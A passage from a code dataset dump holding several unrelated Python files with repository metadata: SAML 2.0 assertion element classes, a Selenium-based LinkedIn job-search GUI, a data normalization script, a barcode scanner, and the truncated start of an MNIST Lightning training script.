\"\"\"The saml:AuthnContextDecl element\"\"\"\n\n _tag = 'AuthnContextDecl'\n _namespace = SAML_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n\ndef AuthnContextDeclFromString(xml_string):\n return saml2.CreateClassFromXMLString(AuthnContextDecl, xml_string)\n\n\nclass AuthenticatingAuthority(saml2.SamlBase):\n \"\"\"The saml:AuthenticatingAuthority element\"\"\"\n\n _tag = 'AuthenticatingAuthority'\n _namespace = SAML_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n\ndef AuthenticatingAuthorityFromString(xml_string):\n return saml2.CreateClassFromXMLString(AuthenticatingAuthority, xml_string)\n\n\nclass AuthnContext(saml2.SamlBase):\n \"\"\"The saml:AuthnContext element\"\"\"\n\n _tag = 'AuthnContext'\n _namespace = SAML_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n _children['{%s}AuthnContextClassRef' % SAML_NAMESPACE] = (\n 'authn_context_class_ref', AuthnContextClassRef)\n _children['{%s}AuthnContextDeclRef' % SAML_NAMESPACE] = (\n 'authn_context_decl_ref', AuthnContextDeclRef)\n _children['{%s}AuthnContextDecl' % SAML_NAMESPACE] = (\n 'authn_context_decl', AuthnContextDecl)\n _children['{%s}AuthenticatingAuthority' % SAML_NAMESPACE] = (\n 'authenticating_authority', [AuthenticatingAuthority])\n _child_order = ['authn_context_class_ref', 'authn_context_decl_ref',\n 'authn_context_decl', 'authenticating_authority']\n\n def __init__(self, authn_context_class_ref=None, authn_context_decl_ref=None,\n authn_context_decl=None, authenticating_authority=None,\n text=None, extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for AuthnContext\n\n Args:\n text: str The text data in the this element\n authn_context_class_ref: AuthnContextClassRef element\n authn_context_decl_ref: AuthnContextDeclRef element\n authn_context_decl: AuthnContextDecl element\n authenticating_authority: AuthenticatingAuthority element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n self.text = text\n self.authn_context_class_ref = authn_context_class_ref\n self.authn_context_decl_ref = authn_context_decl_ref\n self.authn_context_decl = authn_context_decl\n self.authenticating_authority = authenticating_authority or []\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef AuthnContextFromString(xml_string):\n return saml2.CreateClassFromXMLString(AuthnContext, xml_string)\n\nclass Statement(saml2.SamlBase):\n \"\"\"The saml:Statement element\"\"\"\n\n _tag = 'Statement'\n _namespace = SAML_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n \ndef StatementFromString(xml_string):\n return saml2.CreateClassFromXMLString(Statement, xml_string)\n\n\nclass AuthnStatement(Statement):\n \"\"\"The saml:AuthnStatement element\"\"\"\n\n _tag = 'AuthnStatement'\n _namespace = SAML_NAMESPACE\n _children = Statement._children.copy()\n _attributes = Statement._attributes.copy()\n _attributes['AuthnInstant'] = 'authn_instant'\n _attributes['SessionIndex'] = 'session_index'\n _attributes['SessionNotOnOrAfter'] = 'session_not_on_or_after'\n _children['{%s}SubjectLocality' % SAML_NAMESPACE] = (\n 'subject_locality', SubjectLocality)\n _children['{%s}AuthnContext' % SAML_NAMESPACE] = (\n 'authn_context', AuthnContext)\n _child_order = ['subject_locality', 'authn_context']\n \n def __init__(self, authn_instant=None, session_index=None,\n session_not_on_or_after=None, subject_locality=None,\n authn_context=None, text=None, extension_elements=None,\n extension_attributes=None):\n \"\"\"Constructor for AuthnStatement\n\n Args:\n authn_instant: AuthnInstant attribute\n session_index: SessionIndex attribute\n session_not_on_or_after: SessionNotOnOrAfter attribute\n subject_locality: SubjectLocality element\n authn_context: AuthnContext element\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n self.text = text\n self.authn_instant = authn_instant\n self.session_index = session_index\n self.session_not_on_or_after = session_not_on_or_after\n self.subject_locality = subject_locality\n self.authn_context = authn_context\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef AuthnStatementFromString(xml_string):\n return saml2.CreateClassFromXMLString(AuthnStatement, xml_string)\n\n# TODO: EncryptedAttribute\n\nclass AttributeValue(saml2.SamlBase):\n \"\"\"The saml:AttributeValue element\"\"\"\n\n _tag = 'AttributeValue'\n _namespace = SAML_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n\ndef AttributeValueFromString(xml_string):\n return saml2.CreateClassFromXMLString(AttributeValue, xml_string)\n\n\nclass Attribute(saml2.SamlBase):\n \"\"\"The saml:Attribute element\"\"\"\n\n _tag = 'Attribute'\n _namespace = SAML_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n _attributes['Name'] = 'name'\n _attributes['NameFormat'] = 'name_format'\n _attributes['FriendlyName'] = 'friendly_name'\n _children['{%s}AttributeValue' % SAML_NAMESPACE] = \\\n ('attribute_value', [AttributeValue])\n \n def __init__(self, name=None, name_format=None, friendly_name=None,\n attribute_value=None, text=None, extension_elements=None,\n extension_attributes=None):\n \"\"\"Constructor for Attribute\n\n Args:\n name: Name attribute\n name_format: NameFormat attribute\n friendly_name: FriendlyName attribute\n attribute_value: AttributeValue elements\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n self.text = text\n self.name = name\n self.name_format = name_format\n self.friendly_name = friendly_name\n self.attribute_value = attribute_value or []\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef AttributeFromString(xml_string):\n return saml2.CreateClassFromXMLString(Attribute, xml_string)\n\n\nclass AttributeStatement(Statement):\n \"\"\"The saml:AttributeStatement element\"\"\"\n\n # TODO: EncryptedAttribute\n _tag = 'AttributeStatement'\n _namespace = SAML_NAMESPACE\n _children = Statement._children.copy()\n _attributes = Statement._attributes.copy()\n _children['{%s}Attribute' % SAML_NAMESPACE] = \\\n ('attribute', [Attribute])\n \n def __init__(self, attribute=None, text=None, extension_elements=None,\n extension_attributes=None):\n \"\"\"Constructor for AttributeStatement\n\n Args:\n attribute: Attribute elements\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n self.text = text\n self.attribute = attribute or []\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef AttributeStatementFromString(xml_string):\n return saml2.CreateClassFromXMLString(AttributeStatement, xml_string)\n\n# TODO: AuthzDecisionStatement\n\nclass Action(saml2.SamlBase):\n \"\"\"The saml:Action element\"\"\"\n\n _tag = 'Action'\n _namespace = SAML_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n _attributes['Namespace'] = 'namespace'\n \n def __init__(self, namespace=None, text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for Action\n\n Args:\n namespace: Namespace attribute\n text: str The text data in this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n self.text = text\n self.namespace = namespace\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef ActionFromString(xml_string):\n return saml2.CreateClassFromXMLString(Action, xml_string)\n\n\nclass SubjectConfirmationData(saml2.SamlBase):\n \"\"\"The saml:SubjectConfirmationData element\"\"\"\n\n _tag = 'SubjectConfirmationData'\n _namespace = SAML_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n _attributes['NotBefore'] = 'not_before'\n _attributes['NotOnOrAfter'] = 'not_on_or_after'\n _attributes['Recipient'] = 'recipient'\n _attributes['InResponseTo'] = 'in_response_to'\n _attributes['Address'] = 'address'\n \n def __init__(self, not_before=None, not_on_or_after=None, recipient=None,\n in_response_to=None, address=None, text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for SubjectConfirmationData\n\n Args:\n not_before: NotBefore attribute\n not_on_or_after: NotOnOrAfter attribute\n recipient: Recipient attribute\n in_response_to: InResponseTo attribute\n address: Address attribute\n text: str The text data in this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n self.text = text\n self.not_before = not_before\n self.not_on_or_after = not_on_or_after\n self.recipient = recipient\n self.in_response_to = in_response_to\n self.address = address\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef SubjectConfirmationDataFromString(xml_string):\n return saml2.CreateClassFromXMLString(SubjectConfirmationData, xml_string)\n\n\nclass SubjectConfirmation(saml2.SamlBase):\n \"\"\"The saml:SubjectConfirmation element\"\"\"\n # TODO: BaseID, EncryptedID element\n\n _tag = 'SubjectConfirmation'\n _namespace = SAML_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n _attributes['Method'] = 'method'\n _children['{%s}NameID' % SAML_NAMESPACE] = ('name_id', NameID)\n _children['{%s}SubjectConfirmationData' % SAML_NAMESPACE] = (\n 'subject_confirmation_data', SubjectConfirmationData)\n _child_order = ['name_id', 'subject_confirmation_data']\n\n def __init__(self, method=None, name_id=None, subject_confirmation_data=None,\n text=None, extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for SubjectConfirmation\n\n Args:\n method: Method attribute\n name_id: NameID element\n subject_confirmation_data: SubjectConfirmationData element\n text: str The text data in this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n self.text = text\n self.method = method\n self.name_id = name_id\n self.subject_confirmation_data = subject_confirmation_data\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef SubjectConfirmationFromString(xml_string):\n return saml2.CreateClassFromXMLString(SubjectConfirmation, xml_string)\n\n\nclass Subject(saml2.SamlBase):\n \"\"\"The saml:Subject element\"\"\"\n # TODO: BaseID, EncryptedID element\n\n _tag = 'Subject'\n _namespace = SAML_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n _children['{%s}NameID' % SAML_NAMESPACE] = ('name_id', NameID)\n _children['{%s}SubjectConfirmation' % SAML_NAMESPACE] = (\n 'subject_confirmation', [SubjectConfirmation])\n _child_order = ['name_id', 'subject_confirmation']\n\n def __init__(self, name_id=None, subject_confirmation=None, text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for SubjectConfirmation\n\n Args:\n name_id: NameID element\n subject_confirmation: SubjectConfirmation element\n text: str The text data in this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n self.text = text\n self.name_id = name_id\n self.subject_confirmation = subject_confirmation or []\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef SubjectFromString(xml_string):\n return saml2.CreateClassFromXMLString(Subject, xml_string)\n\n\nclass Condition(saml2.SamlBase):\n \"\"\"The saml:Condition element\"\"\"\n\n _tag = 'Condition'\n _namespace = SAML_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n\ndef ConditionFromString(xml_string):\n return saml2.CreateClassFromXMLString(Condition, xml_string)\n\n\nclass Audience(saml2.SamlBase):\n \"\"\"The saml:Audience element\"\"\"\n\n _tag = 'Audience'\n _namespace = SAML_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n\ndef AudienceFromString(xml_string):\n return saml2.CreateClassFromXMLString(Audience, xml_string)\n\n\nclass AudienceRestriction(Condition):\n \"\"\"The saml:AudienceRestriction element\"\"\"\n\n _tag = 'AudienceRestriction'\n _namespace = SAML_NAMESPACE\n _children = Condition._children.copy()\n _attributes = Condition._attributes.copy()\n _children['{%s}Audience' % SAML_NAMESPACE] = ('audience', Audience)\n\n def __init__(self, text=None, audience=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for AudienceRestriction\n\n Args:\n audience: Audience element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n self.text = text\n self.audience = audience\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef AudienceRestrictionFromString(xml_string):\n return saml2.CreateClassFromXMLString(AudienceRestriction, xml_string)\n\nclass OneTimeUse(Condition):\n \"\"\"The saml:OneTimeUse element\"\"\"\n \n _tag = 'OneTimeUse'\n _children = Condition._children.copy()\n _attributes = Condition._attributes.copy()\n\ndef OneTimeUseFromString(xml_string):\n return saml2.CreateClassFromXMLString(OneTimeUse, xml_string)\n\n\nclass ProxyRestriction(Condition):\n \"\"\"The saml:Condition element\"\"\"\n\n _tag = 'ProxyRestriction'\n _namespace = SAML_NAMESPACE\n _children = Condition._children.copy()\n _attributes = Condition._attributes.copy()\n _attributes['Count'] = 'count'\n _children['{%s}Audience' % SAML_NAMESPACE] = ('audience', [Audience])\n\n def __init__(self, text=None, count=None, audience=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for ProxyRestriction\n\n Args:\n text: str The text data in this element\n count: Count attribute\n audience: Audience elements\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n self.text = text\n self.count = count\n self.audience = audience or []\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef ProxyRestrictionFromString(xml_string):\n return saml2.CreateClassFromXMLString(ProxyRestriction, xml_string)\n\n\nclass Conditions(saml2.SamlBase):\n \"\"\"The saml:Conditions element\"\"\"\n\n _tag = 'Conditions'\n _namespace = SAML_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy() \n _attributes['NotBefore'] = 'not_before'\n _attributes['NotOnOrAfter'] = 'not_on_or_after'\n _children['{%s}Condition' % SAML_NAMESPACE] = ('condition', [Condition])\n _children['{%s}AudienceRestriction' % SAML_NAMESPACE] = (\n 'audience_restriction', [AudienceRestriction])\n _children['{%s}OneTimeUse' % SAML_NAMESPACE] = (\n 'one_time_use', [OneTimeUse])\n _children['{%s}ProxyRestriction' % SAML_NAMESPACE] = (\n 'proxy_restriction', [ProxyRestriction])\n _child_order = ['condition', 'audience_restriction', 'one_time_use',\n 'proxy_restriction']\n\n def __init__(self, text=None, not_before=None, not_on_or_after=None,\n condition=None, audience_restriction=None, one_time_use=None,\n proxy_restriction=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for ProxyRestriction\n\n Args:\n text: str The text data in this element\n not_before: NotBefore attribute\n not_on_or_after: NotOnOrAfter attribute\n condition: Condition elements\n audience_restriction: AudienceRestriction elements\n one_time_use: OneTimeUse elements\n proxy_restriction: ProxyRestriction elements\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n self.text = text\n self.not_before = not_before\n self.not_on_or_after = not_on_or_after\n self.condition = condition or []\n self.audience_restriction = audience_restriction or []\n self.one_time_use = one_time_use or []\n self.proxy_restriction = proxy_restriction or []\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef ConditionsFromString(xml_string):\n return saml2.CreateClassFromXMLString(Conditions, xml_string)\n\n\nclass AssertionIDRef(saml2.SamlBase):\n \"\"\"The saml:AssertionIDRef element\"\"\"\n _tag = 'AssertionIDRef'\n _namespace = SAML_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n\ndef AssertionIDRefFromString(xml_string):\n return saml2.CreateClassFromXMLString(AssertionIDRef, xml_string)\n\n\nclass AssertionURIRef(saml2.SamlBase):\n \"\"\"The saml:AssertionURIRef element\"\"\"\n _tag = 'AssertionURIRef'\n _namespace = SAML_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n\ndef AssertionURIRefFromString(xml_string):\n return saml2.CreateClassFromXMLString(AssertionURIRef, xml_string)\n\n\nclass Evidence(saml2.SamlBase):\n \"\"\"The saml:Evidence element\"\"\"\n\n _tag = 'Evidence'\n _namespace = SAML_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n _children['{%s}AssertionIDRef' % SAML_NAMESPACE] = \\\n ('assertion_id_ref', [AssertionIDRef])\n _children['{%s}AssertionURIRef' % SAML_NAMESPACE] = \\\n ('assertion_uri_ref', [AssertionURIRef])\n \n def __init__(self, assertion_id_ref=None, assertion_uri_ref=None,\n assertion=None, encrypted_assertion=None, text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for Evidence\n\n Args:\n assertion_id_ref: AssertionIDRef elements\n assertion_uri_ref: AssertionURIRef elements\n assertion: Assertion elements\n encrypted_assertion: EncryptedAssertion elements\n text: str The text data in this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n self.text = text\n self.assertion_id_ref = assertion_id_ref or []\n self.assertion_uri_ref = assertion_uri_ref or []\n self.assertion = assertion or []\n self.encrypted_assertion = encrypted_assertion or []\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef EvidenceFromString(xml_string):\n return saml2.CreateClassFromXMLString(Evidence, xml_string)\n\nclass Advice(saml2.SamlBase):\n \"\"\"The saml:Advice element\"\"\"\n\n _tag = 'Advice'\n _namespace = SAML_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n _children['{%s}AssertionIDRef' % SAML_NAMESPACE] = \\\n ('assertion_id_ref', [AssertionIDRef])\n _children['{%s}AssertionURIRef' % SAML_NAMESPACE] = \\\n ('assertion_uri_ref', [AssertionURIRef])\n \n def __init__(self, assertion_id_ref=None, assertion_uri_ref=None,\n assertion=None, encrypted_assertion=None, text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for Advice\n\n Args:\n assertion_id_ref: AssertionIDRef elements\n assertion_uri_ref: AssertionURIRef elements\n assertion: Assertion elements\n encrypted_assertion: EncryptedAssertion elements\n text: str The text data in this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n self.text = text\n self.assertion_id_ref = assertion_id_ref or []\n self.assertion_uri_ref = assertion_uri_ref or []\n self.assertion = assertion or []\n self.encrypted_assertion = encrypted_assertion or []\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef AdviceFromString(xml_string):\n return saml2.CreateClassFromXMLString(Advice, xml_string)\n\n\nclass Assertion(saml2.SamlBase):\n \"\"\"The saml:Assertion element\"\"\"\n _tag = 'Assertion'\n _namespace = SAML_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n _attributes['Version'] = 'version'\n _attributes['ID'] = 'id'\n _attributes['IssueInstant'] = 'issue_instant'\n _children['{%s}Issuer' % SAML_NAMESPACE] = ('issuer', Issuer)\n _children['{%s}Signature' % ds.DS_NAMESPACE] = ('signature', ds.Signature)\n _children['{%s}Subject' % SAML_NAMESPACE] = ('subject', Subject)\n _children['{%s}Conditions' % SAML_NAMESPACE] = ('conditions', Conditions)\n _children['{%s}Advice' % SAML_NAMESPACE] = ('advice', Advice)\n _children['{%s}Statement' % SAML_NAMESPACE] = ('statement', [Statement])\n _children['{%s}AuthnStatement' % SAML_NAMESPACE] = (\n 'authn_statement', [AuthnStatement])\n _children['{%s}AttributeStatement' % SAML_NAMESPACE] = (\n 'attribute_statement', [AttributeStatement])\n _child_order = ['issuer', 'signature', 'subject', 'conditions', 'advice',\n 'statement', 'authn_statement', 'authz_decision_statement',\n 'attribute_statement']\n\n def __init__(self, version=None, id=None, issue_instant=None, issuer=None,\n signature=None, subject=None, conditions=None, advice=None,\n statement=None, authn_statement=None,\n authz_decision_statement=None, attribute_statement=None,\n text=None, extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for Assertion\n\n Args:\n version: Version attribute\n id: ID attribute\n issue_instant: IssueInstant attribute\n issuer: Issuer element\n signature: ds:Signature element\n subject: Subject element\n conditions: Conditions element\n advice: Advice element\n statement: Statement elements\n authn_statement: AuthnStatement elements\n authz_decision_statement: AuthzDecisionStatement elements\n attribute_statement: AttributeStatement elements\n text: str The text data in this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n self.text = text\n self.version = version\n self.id = id\n self.issue_instant = issue_instant\n self.issuer = issuer\n self.signature = signature\n self.subject = subject\n self.conditions = conditions\n self.advice = advice\n self.statement = statement or []\n self.authn_statement = authn_statement or []\n self.authz_decision_statement = authz_decision_statement or []\n self.attribute_statement = attribute_statement or []\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef AssertionFromString(xml_string):\n return saml2.CreateClassFromXMLString(Assertion, xml_string)\n\nEvidence._children['{%s}Assertion' % SAML_NAMESPACE] = (\n 'assertion', [Assertion])\nAdvice._children['{%s}Assertion' % SAML_NAMESPACE] = (\n 'assertion', [Assertion])\n\n\nclass EncryptedID(saml2.SamlBase):\n \"\"\"The saml:EncryptedID element\"\"\"\n _tag = 'EncryptedID'\n _namespace = SAML_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n\n # TODO: This is just a skelton yet.\n\ndef EncryptedIDFromString(xml_string):\n return saml2.CreateClassFromXMLString(EncryptedID, xml_string)\n\n\nclass EncryptedAssertion(saml2.SamlBase):\n \"\"\"The saml:EncryptedAssertion element\"\"\"\n _tag = 'EncryptedAssertion'\n _namespace = SAML_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n\n # TODO: This is just a skelton yet.\n\ndef EncryptedAssertionFromString(xml_string):\n return saml2.CreateClassFromXMLString(EncryptedAssertion, xml_string)\n\nEvidence._children['{%s}EncryptedAssertion' % SAML_NAMESPACE] = (\n 'encrypted_assertion', [EncryptedAssertion])\nAdvice._children['{%s}EncryptedAssertion' % SAML_NAMESPACE] = (\n 'encrypted_assertion', [EncryptedAssertion])\n\nclass AuthzDecisionStatement(Statement):\n \"\"\"The saml:AuthzDecisionStatement element\"\"\"\n\n _tag = 'AuthzDecisionStatement'\n _namespace = SAML_NAMESPACE\n _children = Statement._children.copy()\n _attributes = Statement._attributes.copy()\n\n _attributes['Resource'] = 'resource'\n _attributes['Decision'] = 'decision'\n _children['{%s}Action' % SAML_NAMESPACE] = ('action', [Action])\n _children['{%s}Evidence' % SAML_NAMESPACE] = ('evidence', [Evidence])\n _child_order = ['action', 'evidence']\n\n def __init__(self, text=None, resource=None, decision=None, action=None,\n evidence=None, extension_elements=None,\n extension_attributes=None):\n \"\"\"Constructor for AuthzDecisionStatement\n\n Args:\n text: str The text data in this element\n resource: Resource attribute\n decision: Decision attribute\n action: Action Elements\n evidence: Evidence Elements\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n self.text = text\n self.resource = resource\n self.decision = decision\n self.action = action or []\n self.evidence = evidence or []\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef AuthzDecisionStatementFromString(xml_string):\n return saml2.CreateClassFromXMLString(AuthzDecisionStatement, xml_string)\n\nAssertion._children['{%s}AuthzDecisionStatement' % SAML_NAMESPACE] = (\n 'authz_decision_statement', [AuthzDecisionStatement])\n\n","repo_name":"driedtoast/identitycert","sub_path":"third-party/lib/common/saml2/saml.py","file_name":"saml.py","file_ext":"py","file_size_in_byte":34431,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"19148153078","text":"from tkinter import * \nfrom selenium import webdriver\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.common.by import By\nfrom time import sleep\nimport pandas as pd\n\n\ndef buscar_vagas():\n keyword = keyword_entry.get()\n location = location_entry.get()\n geoid = \"106057199\"\n URL_LINKEDIN_JOBS = f\"https://www.linkedin.com/jobs/search/?&keywords={keyword}&location={location}&refresh=true\"\n \n driver = webdriver.Chrome(ChromeDriverManager().install())\n driver.maximize_window() # mudar\n driver.get(URL_LINKEDIN_JOBS)\n \n sleep(5)\n \n results = driver.find_elements(By.CSS_SELECTOR, '.base-card')\n \n output_text.delete(1.0, END)\n \n for i, result, in enumerate(results): \n if i >= 10: \n break\n \n result.click()\n sleep(15)\n \n try: \n descricao = driver.find_element(By.CLASS_NAME, 'description').text\n titulo = driver.find_element(By.CLASS_NAME, 'topcard__title').text\n local = driver.find_element(By.CLASS_NAME, 'topcard__flavor--bullet').text\n empresa = driver.find_element(By.CLASS_NAME, 'topcard__flavor').text\n link = driver.current_url\n \n \n output_text.insert(END, f'Título: {titulo}\\n')\n output_text.insert(END, f'Empresa: {empresa}\\n')\n output_text.insert(END, f'Local: {local}\\n')\n output_text.insert(END, f'Descrição: {descricao}\\n')\n output_text.insert(END, f'Link: {link}\\n')\n output_text.insert(END, f'------------------------------------------------------------------------\\n')\n \n print('Vaga será exibida ao fechar navegador')\n \n except:\n print('Erro ao tentar exibir ou capturar a vaga')\n\n driver.quit()\n\n\nroot = Tk()\nroot.title('Buscador de vagas GUI')\nroot.geometry(\"800x400\")\n\n\nkeyword_label = Label(root, text='Vaga: ')\nkeyword_label.pack()\nkeyword_entry = Entry(root)\nkeyword_entry.pack()\n\n\nlocation_label = Label(root, text='Localidade: ')\nlocation_label.pack()\nlocation_entry = Entry(root)\nlocation_entry.pack()\n\nspace_label = Label(root)\nspace_label.pack()\n\nsearch_button = Button(root, text='Buscar', command=buscar_vagas)\nsearch_button.config(padx=150, pady=10)\nsearch_button.pack()\n\nspace_label = Label(root)\nspace_label.pack()\n\noutput_text = Text(root)\noutput_text.pack()\n\n\nroot.mainloop()","repo_name":"DiegoCorredeira/vagas_estagio","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2440,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"72708470241","text":"#imports\nimport pandas as pd\n\n\n\nall_data=pd.read_excel(\"data/all_data_task_normalized.xlsx\")\n\nsteps=[0,1,2,3,4,5,6,7,8] #step_id\nmatrices=[0,1,2,3,4,5,6,7,8] #matrix\nmeasures=['min_matrix_error','sum_matrix_error', 'task_error_real_matrix', 'task_error_subject_matrix', 'behavior_gamma']\n\n\nfor measure in measures:\n for mat in matrices:\n ind=all_data.index[all_data['matrix'] == mat].tolist()\n\n #normalization method\n all_data.loc[ind, measure] = all_data.loc[ind, measure].values - all_data.loc[ind, measure].values.mean()\n\n##export to excel\n# Create a Pandas Excel writer using XlsxWriter as the engine.\nwriter = pd.ExcelWriter('data/all_data_normalized.xlsx', engine='xlsxwriter')\n\n# Write each dataframe to a different worksheet.\nall_data.to_excel(writer, sheet_name='all_data_normalized')\n\n\n# Close the Pandas Excel writer and output the Excel file.\nwriter.save()\n","repo_name":"CuriosityLabTAU/physical_curiosity_big_analysis","sub_path":"all_data_matrix_normalization.py","file_name":"all_data_matrix_normalization.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2224166091","text":"# 导入所需工具包\nfrom pyzbar import pyzbar\nimport argparse\nimport cv2\n\n# 构建参数解析器并解析参数\nap = argparse.ArgumentParser()\nap.add_argument(\"-i\", \"--image\", required=False, help=\"path to input image\")\nargs = vars(ap.parse_args())\n\n# 加载输入图像\nimage1 = cv2.imread(args[\"image\"])\n\n# 找到图像中的条形码并进行解码\nbars = pyzbar.decode(image1)\n\n# 循环检测到的条形码\nfor bar in bars:\n # 提取条形码的边界框的位置\n # 画出图像中条形码的边界框\n (x, y, w, h) = bar.rect\n cv2.rectangle(image1, (x, y), (x + w, y + h), (0, 0, 255), 2)\n\n # 条形码数据为字节对象,所以如果我们想在输出图像上\n # 画出来,就需要先将它转换成字符串\n barcodeData = bar.data.decode(\"utf-8\")\n barcodeType = bar.type\n\n # 绘出图像上条形码的数据和条形码类型\n text = \"{} ({})\".format(barcodeData, barcodeType)\n cv2.putText(image1, text, (x, y - 10), cv2.FONT_HERSHEY_SIMPLEX,\n 0.5, (0, 0, 255), 2)\n\n # 向终端打印条形码数据和条形码类型\n print(\"[INFO] Found {} barcode: {}\".format(barcodeType, barcodeData))\n\n# 展示输出图像\ncv2.imshow(\"Image\", image1)\ncv2.waitKey(0)","repo_name":"LouieBHLu/PRP","sub_path":"Barcode/barcode_scanner_image.py","file_name":"barcode_scanner_image.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"30235988693","text":"import argparse\n\nfrom model import SimpleCNN\nfrom torchvision.datasets import MNIST\nfrom torchvision.transforms import ToTensor\nfrom torch.utils.data import DataLoader\n\nfrom pytorch_lightning import Trainer\nfrom pytorch_lightning.callbacks import ModelCheckpoint, LearningRateMonitor\nfrom pytorch_lightning.loggers import TensorBoardLogger\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--version', '-v')\n\n args = parser.parse_args()\n\n train_dataset = MNIST(root='.', train=True, download=True, transform=ToTensor())\n train_dataloader = DataLoader(train_dataset,\n batch_size=120,\n num_workers=6,\n 